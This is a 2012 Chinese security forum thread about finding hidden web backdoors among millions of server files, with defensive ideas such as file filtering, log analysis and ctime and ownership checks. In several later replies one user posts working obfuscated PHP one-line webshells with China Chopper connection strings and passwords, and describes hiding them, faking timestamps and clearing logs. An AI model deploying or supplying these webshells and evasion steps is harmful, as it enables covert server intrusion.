百万级文件数如何快速查找WebBackDoor?

  • A+
所属分类:WooYun-Zone

文件数百万级,如何有效查找webbackdoor?在各种非主流猥琐变形隐藏手法面前,各位有什么好办法呢?

  1. 1#

    SinCoder (fuck sec) | 2012-04-18 23:45

      这个如果有以前文件的快照的话 那么可以非常快找到 shell 的。

  2. 2#

    iucker (不要让梦想褪色成幻想) | 2012-04-18 23:58

    @SinCoder 如果没有呢?

  3. 3#

    pangshenjie (whoami) | 2012-04-19 00:06

    @iucker 我觉的其他办法就是你筛选的话符合要求的文件数量也是巨大的,各种变形神马的直接找应该比较困难,期待大神给出其他的好办法~

  4. 4#

    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-04-19 01:13

    关键是排序和排除吧。关键看具体的需求

  5. 5#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-04-19 09:37

    如果没有保留快照、Hash、时间戳等原始对比信息的话,这个只能遍历了……

    判断文件修改时间的方法不可取,因为攻击者极大可能修改了文件时间。

    如果遍历的话,高效的处理算法是很关键的。

    如果有 Web 访问日志的话,我想,首先可以过滤掉一些 0 访问量的文件,可以大大的减少需要遍历的文件数量,但是有个缺点,如果是图片包含方式的木马,虽然该图片是 0 访问,但是仍被其他脚本加载执行……

    不过这个缺点,可以在之后关键词匹配的时候发现出来(判断脚本中所有包含语句,所包含的文件后缀),所以遗漏的几率很小,几乎不会遗漏,凡是遗漏的都是废弃的后门,虽然是图片后缀,但是没有任何一个文件包含,所以也是无法执行的,废弃的,无危害……

    总的来说,我可以概括为以下几个步骤:

    1、获取文件列表,获取的同时采用【黑名单】过滤掉“.mdb、.html、.css、.js、.txt、.jpg、.gif、.bmp、.mp3、.wav、.mid……”(提示一下,在过滤文件的同时,可以增加一个 if 判断,顺道判断特殊文件名、畸形目录等变形后门,例如:/a.asp/a.jpg、a.asp;a.jpg、a.asp;jpg、aux.asp、com1.asp……,可以直接判定为后门!根本不用再用关键词匹配,省去大量时间……),等非脚本后缀的文件(还可以过滤超大体积的文件),注意:一定是黑名单过滤,如果你使用白名单的话,会遗漏一些特殊路径的文件,例如:a.asp;a.jpg、a.asp;jpg、file(没后缀的)……,经过这个过滤后缀操作,大概可以排除 60% – 70% 以上的非脚本文件,甚至更多(越华丽的网站,图片越多,脚本只占极少数)……

    2、如果存在 Web 访问日志的话,如上所述,可以分析一下文件访问频率(可以重点检查访问率高的文件),又可以排除很大一批 0 访问量的文件,这些文件大多数都是一些通用的函数库文件,一般一个网站通用的包含文件很多,而针对前台用户访问的文件只占极少数,这样又可以过滤很大一批文件,起码有 10%,不过这个有个缺陷,首先如果日志很大的话,分析会很消耗时间,而且可能会漏掉一些包含式的后门,这个根据情况使用吧。

    3、经过以上的处理,大概只剩下 10% – 20% 的文件需要处理,也就是个 10 万多的文件(Win7 旗舰版安装完后,C 盘大约有 6 多万文件,这实在不算多),挨个读取进行关键词匹配,如果你关键词匹配的算法比较好的话,应该不需要很长时间了。

    4、其他过滤算法。

    坐等其他大牛更先进的方案……

  6. 6#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-04-19 09:38

    还可以同时保留这次清理文件的 Hash 值,给以后的清理作参考信息。

  7. 7#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-04-19 09:52

    再提示一下,可以参考杀毒软件全盘查杀的处理方案……

  8. 8#

    xsser | 2012-04-19 11:23

    如果是应用层出的事情,在应用层对抗很麻烦,我们考虑的思路是更底层,与@核攻击 不同,我们经常的环境是linux环境,所以:
    1 上传后门往往用户是www,而当时的应用程序的属主是work,甚至mysql创建的后门属主是mysql
    2 创建时间,在linux下修改ctime是需要root权限的,所以按照ctime分组能够很快判断出一个后门,后门往往和应用程序诞生时间是不一样的
    3 访问行为,后门与普通应用的访问行为来说,最大的不同在于访问频率和ip,正常应用会被很多人来访问,但是后门往往就只对应一个访问用户

    推荐80sec那个分析被黑的文章

    换个思路之后,文件多少不是真正的问题 :)

  9. 9#

    shine | 2012-04-19 11:43

    如果应用过多,想防住它是不可能的。所以,在我的系统架构中,做了严格的url访问或文件访问权限校验(当然,都是有利弊共存的,还是要看应用类型),即使留了webbackdoor,攻击者也是无法访问到它!

  10. 10#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-04-19 12:37

    Good,行为分析很重要!

  11. 11#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-04-19 12:38

    如果按照杀软的主动防御思路来做的话……

    即使他留了后门,行为分析,直接给禁止……

    貌似扯远了……

  12. 12#

    iucker (不要让梦想褪色成幻想) | 2012-04-19 13:06

    @蟋蟀哥哥 @xsser @shine @核攻击 @pangshenjie @SinCoder
    非常感谢各位解答,真是个耗体力的苦B活…..

  13. 13#

    GaRY | 2012-04-19 16:30

    其实,只要有一个事实运维标准,再结合这个标准做监控(例如版本库svn diff,例如运行用户的属性,例如更新时间的固定性),一切和标准不同的内容都是异常(无论是网络流量、系统属性、文件自身层面),然后再从异常中结合行为特征进行查找会有效减少工作量。建立多层级异常处理机制很重要。

  14. 14#

    请叫我大神 | 2012-04-19 23:07

    实际还有更好的方法,呵呵,比如说吧,你一个web应用,为毛会有尝试读取web目录以外的文件呢?即使有,这种例外是很容易被枚举出来的吧。

    这个我觉得是比较猥琐的检测思路了。但是需要和系统结合,做一些文件系统的监控

  15. 15#

    her0ma | 2012-08-27 15:16

    恶意代码分析系统 可以自定义字段 可以完善一下那个工具 是找后门 清挂马的神器!

  16. 16#

    pentest | 2012-08-27 15:24

    就单讨论恶意脚本的静态特征的话,国外有个开源的脚本来着,最近也一直在找,忘了叫什么了

  17. 17#

    小胖子 | 2012-08-27 15:28

    @xsser 我很赞80sec的那次入侵分析,不慌不躁,找准问题关键所在。

    除了剑心说的这两个,我有点想补充,如果在LAMP环境下,就按这方法做,要是win呢,谁说不可能用解析洞?所以,定义文件夹及文件规则,先断了解析漏洞,再查找,小菜回答,大牛勿喷,喷者爆菊花!

  18. 18#

    坏虾 (黑阔都被爆菊花~) | 2012-08-27 16:14

    换位思考。

    我放后门基本都是修改一个放在很深层的脚本文件,添加一段变形的一句话。然后修改时间清理日志。

    linux下用touch修改文件的修改时间可以不需要root。
    后门文件一定要跟周围的文件所属用户一样都是www或者nobody

    大家想想我没做什么?怎么查到?

  19. 19#

    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2012-08-28 01:30

    ctime(看上级目录的)+正则匹配+属性权限+服务的配置文件+过滤日志!

  20. 20#

    f4tb0y (隆) | 2012-08-28 09:07

    后门这种东西都要放在比较深的目录里,还要变一变代码,我还喜欢改成一些比较像正常文件的名字,比如link.asp之类的……文件修改时间有权限是一定要改的

  21. 21#
    感谢(1)

    坏虾 (黑阔都被爆菊花~) | 2012-08-28 09:14

    @f4tb0y 我喜欢建在缓存文件夹下面。~aadsSFDSWR~FSDGDFG.php 然后一顿回车,在最后面添加一段
    First:1.php

    <?php ($_=@$_GET[2]).@$_($_POST[1])?>

    菜刀里写:http://localhost/1.php?2=assert
    密码:1

    Second:2.php

    <?php
    $_=””;
    $_[+""]=”;
    $_=”$_”.””;
    $_=($_[+""]|””).($_[+""]|””).($_[+""]^””);
    ?>
    <?php ${‘_’.$_}['_'](${‘_’.$_}['__']);?>

    菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST['pass'])
    密码:pass

  22. 22#

    f4tb0y (隆) | 2012-08-28 12:15

    @坏虾 LS 给力啊!又学到知识了~ 我很少搞变形的一句话 thx

  23. 23#

    小胖子 | 2012-08-28 20:11

    @坏虾 感谢,变种厉害!

  24. 24#

    HuGtion | 2012-08-28 22:04

    @坏虾  给力!

  25. 25#

    坏虾 (黑阔都被爆菊花~) | 2012-08-29 07:49

    @HuGtion @小胖子 @f4tb0y  
    我发的这些都是网上公开的了,想让人发现不了,就自己整点有意思的。

    我现在喜欢用这个
    <?php

    @preg_replace(“/[email]/e”,$_POST['h'],”error”);

    ?>

    菜刀附加数据:
    <O>h=@eval($_POST);</O>

    密码 c  
    不过仔细查下preg_replace,还是会被发现。  一样,都是已经被公开的了。

  26. 26#

    piaoye (123) | 2012-08-29 17:12

    文件多的话,分析行为快速些,建个黑盒环境文件拖进去,一些常见服务器漏洞伪造成蜜罐类似,追踪这些重要的访问记录。

  27. 27#

    Thanks (freebuF资深屌丝) | 2012-09-03 09:51

    @GaRY 讲的靠谱。有没有更具体点的实现方法?

  28. 28#

    horseluke (微碌) | 2012-09-07 10:39

    @xsser 我今天发现一个问题,ctime一致,但肯定是apache创建的……真有人用了root改ctime,而不改属主?还是用别的方式改的?

    ==============
    -[隐藏] 1 root   root     777 Mar 30  2011 a_normal.class.php
    -[隐藏] 1 daemon daemon 91877 Mar 30  2011 a_normal.clas.php   //木马
    ==============